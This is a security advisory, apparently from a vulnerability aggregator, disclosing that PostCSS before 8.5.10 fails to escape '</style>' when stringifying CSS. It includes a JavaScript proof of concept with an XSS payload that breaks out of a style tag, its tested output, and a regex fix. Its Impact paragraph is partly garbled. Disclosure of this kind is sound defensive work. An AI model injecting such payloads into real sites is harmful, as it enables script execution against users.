PostCSS has XSS via Unescaped </style> in its CSS Stringify Output

Exploitation and risk

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Published

PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. Version 8.5.10 fixes the issue.

# PostCSS: XSS via Unescaped `</style>` in CSS Stringify Output ## Summary PostCSS v8.5.5 (latest) does not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. ## Proof of Concept ```javascript const postcss = require('postcss'); // Parse user CSS and re-stringify for page embedding const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }'; const ast = postcss.parse(userCSS); const output = ast.toResult().css; const html = `<style>${output}</style>`; console.log(html); // <style>body { content: "</style><script>alert(1)</script><style>"; }</style> // // Browser: </style> closes the style tag, <script> executes ``` **Tested output** (Node.js v22, postcss v8.5.5): ``` Input: body { content: "</style><script>alert(1)</script><style>"; } Output: body { content: "</style><script>alert(1)</script><style>"; } Contains </style>: true ``` ## Impact Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website. ## Suggested Fix Escape `</style` in all stringified output values: ```javascript output = output.replace(/<\/(style)/gi, '<\\/$1'); ``` ## Credits Discovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid))
